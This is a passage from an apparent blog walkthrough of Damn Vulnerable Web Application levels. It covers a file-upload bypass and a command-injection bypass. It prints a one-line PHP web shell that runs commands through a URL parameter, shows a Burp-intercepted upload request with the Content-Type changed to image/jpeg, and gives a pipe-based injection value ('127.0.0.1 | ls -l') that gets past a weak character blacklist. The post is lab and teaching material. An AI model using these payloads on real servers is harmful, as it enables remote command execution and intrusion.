echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}

}
?>

As you can see this script will allow us to pretty much upload any type of file we want. What would happen if we uploaded a file simply containing the following line of PHP code:

<?php passthru($_GET['cmd']); ?>

Well, it will upload to hackable/uploads to start with so if you point your browser to:

http://localhost/dvwa/hackable/uploads/pwnme.php?cmd=ls

BINGO! 🙂 Nice and simple that one was, yeah? Let’s take a look at the same level but on the medium setting:

<?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $uploaded_name . ' succesfully uploaded!';
echo '</pre>';

}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

Now this looks a little better, but is it? Notice the check:

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){

This is the only part you have to circumvent, and you should instantly know how. Using a proxy you can rewrite the upload request to use “image/jpeg” as the upload_type. Let’s see exactly how to do this. First thing’s first, open up a proxy I used Burpsuite for this. Make the request to the page by uploading the neccessary file and making sure you have “intercept requests” turned on in Burp. Then watch out for the following request:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d
Content-Type: multipart/form-data; boundary=---------------------------68053526712024471042060696500
Content-Length: 512

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="uploaded"; filename="pwnme.php"
Content-Type: application/x-httpd-php

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68053526712024471042060696500--

the line we are interested in is:

Content-Type: application/x-httpd-php

If we change that to read:

Content-Type: image/jpeg

Then click “forward” on Burpsuite, it will send the request off to the site, the site will then respond with:


pwnme.php succesfully uploaded!

And that was all there was to it for the Upload levels.. pretty simple, huh? 🙂

Permalink Leave a Comment

Command Execution Part 2…

June 11, 2010 at 6:21 am (Command Execution, PHP, Security)

Hey guys,

So I finally got around to playing with the Damn Vulnerable Web Application on Medium level. The command execution level really only added a filter for two characters as a “more secure” version to the level on low setting. Lets take a look at the code:

<?php

if( isset( $_POST[ ‘submit’] ) ) {

$target = $_REQUEST[ ‘ip’ ];

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
‘&&’ => ”,
‘;’ => ”,
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname(‘s’), ‘Windows NT’)) {

$cmd = shell_exec( ‘ping ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

} else {

$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

}
}

?>

As you can see, they have added a character filter which filters out the following characters: ‘;’ and ‘&&’, the code that does this is here:

$substitutions = array(
'&&' => '',
';' => '',
);

Well what about the other plethora of bash commands ay? Such as.. well you guessed it the famous pipe operator: ‘|’. Lets see what happens when we try using it:

I entered: “127.0.0.1 | ls -l”, however you could just do: “| ls -l”, and I got returned:

total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
-rw-r--r-- 1 www-data www-data 0 Jun 9 08:37 ls
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source

Viola!

Permalink Leave a Comment

Next page »